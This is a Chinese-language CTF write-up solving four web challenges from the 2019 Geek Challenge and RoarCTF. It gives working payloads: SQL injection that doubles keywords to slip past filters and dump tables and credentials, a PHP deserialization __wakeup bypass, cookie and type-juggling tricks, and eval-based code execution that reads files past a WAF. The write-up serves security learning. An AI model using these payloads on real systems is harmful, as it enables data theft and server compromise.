[ 极客大挑战 2019]BabySQL
打开题目

根据提示是SQL注入,判断闭合
账号:1',密码随便填

经过尝试是单引号闭合
判断字段数
sql
?username=111&password=1' order by 3--+

发现被过滤了,尝试双写绕过
sql
?username=111&password=1' oorrder bbyy 3--+

尝试发现是3个字段,查看哪个字段有回显
sql
?username=111&password=1' union select 1,2,3--+

发现union和select也被过滤了,双写绕过
sql
?username=111&password=1' uunionnion sselectelect 1,2,3--+

看到回显位是3.
利用回显,爆库
sql
?username=111&password=1' uunionnion sselectelect 1,2,database() --+

爆表名
from也被过滤了;因为or被过滤了information_schema.tables需要改为infoorrmation_schema.tables绕过or,这是个小细节;where也需要双写绕过
sql
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

发现两张表b4bsql,geekuser。
爆b4bsql表的字段
sql
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+

爆geekuser表的字段
sql
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='geekuser')--+

两张表好像是一样的字段
查看b4bsql表的内容
sql
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

发现flag:flag{089a95d8-8b51-4cd6-a43c-b2eae35d3761}
好奇看看geekuser表的内容
sql
?username=admin&password=1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom geekuser)--+

好吧不是flag。
[ 极客大挑战 2019]PHP
打开题目

想查看页面源代码,但是右键没有这个选项。可以ctrl+u或者在url前面加view-source:查看

发现没有有用的信息,提示网站备份,一般默认是www.zip
访问一下,下载了www.zip
发现flag.php

发现flag:Syc{dog_dog_dog_dog},好吧是错的,没那么简单
index文件

class.php文件:
php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
发现是php反序列化漏洞
我们最终的目的是要获得flag,根据class.php文件,我们需要对象的成员变量username='admin',password=100
编写代码
php
<?php
class Name {
private $username = 'admin';
private $password = 100;
}
$a = new Name;
print(serialize($a));
?>
运行结果:
php
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
要绕过__wakeup只要让说明的参数个数大于实际的参数个数就行了,把2改成3,加上变量名
php
?select=O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

发现,复制过来后,有几个框框不见了,我们需要自己加上。
php
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

发现flag:flag{9be68190-85af-4e89-bc7e-26a2a1d9dfcf}
[ 极客大挑战 2019]BuyFlag
打卡题目

浏览了一下,没有啥有用的信息,发现一个网页,点进去瞧瞧

php
Flag need your 100000000 money
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
Only Cuit's students can buy the FLAG
大概意思:
Flag 需要你的一亿资金
如果你想购买 FLAG:
你必须是 CUIT 的学生!!!
你必须回答正确的密码!!!
只有CUIT的学生可以购买FLAG
接着查看网易源代码,发现以下代码:
php
<?php
// 注释:提交金额和密码相关逻辑
/* ~~~post money and password~~~ */
// 判断是否通过 POST 方式提交了 password 参数
if (isset($_POST['password'])) {
// 获取提交的密码值
$password = $_POST['password'];
// 第一层判断:密码不能是纯数字(is_numeric 检测是否为数字/数字字符串)
if (is_numeric($password)) {
echo "password can't be number</br>";
}
// 第二层判断:密码弱等于 404 时,提示密码正确
elseif ($password == 404) {
echo "Password Right!</br>";
}
}
?>
需要POST传参money和password:
php
password=404a&money=100000000

使用bp进行抓包

发送到Repeater模块
仅学生用户可以购买FLAG
注意Cookie:user=0
user是用户,0通常代表flase(错误),1通常代表true(正确)
咱们将user修改为1使后台程序可以正常运行

提示数字太长了,使用科学计数法绕过
php
password=404a&money=1e9

得到flag:flag{c3a94e74-7167-4d40-88b0-005dced57090}
[RoarCTF 2019]Easy Calc
打开题目

是个计算器,查看一下源代码

他说他已经设置了WAF来确保安全
html
// 给 ID 为 calc 的元素(应该是表单)绑定 submit(提交)事件
$('#calc').submit(function(){
// 发起 AJAX 请求
$.ajax({
// 请求的后端地址是 calc.php,并且把 ID 为 content 的输入框的值作为 num 参数传递(encodeURIComponent 避免特殊字符乱码)
url:"calc.php?num="+encodeURIComponent($("#content").val()),
// 请求方式为 GET
type:'GET',
// 请求成功后的回调函数:后端返回的数据会传给 data 参数
success:function(data){
// 把计算结果渲染到 ID 为 result 的元素里,用成功提示框的样式展示
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
// 请求失败后的回调函数(比如后端报错、网络问题)
error:function(){
// 弹出提示框告知用户计算失败
alert("这啥?算不来!");
}
})
// 阻止表单的默认提交行为(避免页面刷新/跳转)
return false;
})
calc.php文件,点开看看

php
<?php
// 关闭所有 PHP 错误报告,隐藏报错信息(黑客常用手段,避免暴露代码逻辑)
error_reporting(0);
// 判断 GET 请求中是否存在 "num" 参数
if(!isset($_GET['num'])){
// 如果没有 "num" 参数,展示当前文件的源代码(方便审计/做题时看代码)
show_source(__FILE__);
}else{
// 如果存在 "num" 参数,获取参数值并赋值给变量 $str
$str = $_GET['num'];
// 定义黑名单数组:包含要过滤的字符(空格、制表符、回车、换行、各类引号、特殊符号等)
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
// 遍历黑名单中的每个字符,检查用户输入是否包含
foreach ($blacklist as $blackitem) {
// 使用正则匹配(m 修饰符表示多行匹配)检查 $str 中是否包含黑名单字符
if (preg_match('/' . $blackitem . '/m', $str)) {
// 匹配到黑名单字符则终止脚本并输出提示
die("what are you want to do?");
}
}
// 核心漏洞点:将过滤后的用户输入直接拼接到代码中执行
// eval 函数会把字符串当作 PHP 代码执行,这里等价于 "echo 用户输入的内容;"
eval('echo '.$str.';');
}
?>
这段前端代码的核心问题在于:它将用户输入的内容($("#content").val())直接拼接到calc.php的GET参数num中传递给后端。如果后端的calc.php没有对num参数做严格过滤,而是直接将参数内容作为代码执行(比如PHP中使用eval()、system()等函数处理num),就会产生远程代码执行漏洞。
核心漏洞:eval('echo'.str.';');------用户输入的str会被当作PHP代码执行,且仅过滤了上述字符,未限制PHP执行命令的函数(如system、exec等)。
首先需要探测flag文件名,通常使用scandir()结合var_dump()。
PHP 在解析参数时,会将 ? num=xxx(注意前面的空格)解析为 $_GET['num'],但WAF规则可能只匹配精确的 num=。所以参数前要空格
php
/calc.php? num=var_dump(scandir(chr(47)))

发现一个类似flag的目录f1agg
由于单双引号都被过滤,不能直接写字符串使用 chr() 函数结合 ASCII 码构造字符串。
f1agg的ASCII序列为47, 102, 49, 97, 103, 103。读取flag:
php
/calc.php? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

获得flag:flag{b5d16c4f-c467-4953-863e-657479d8a725} 43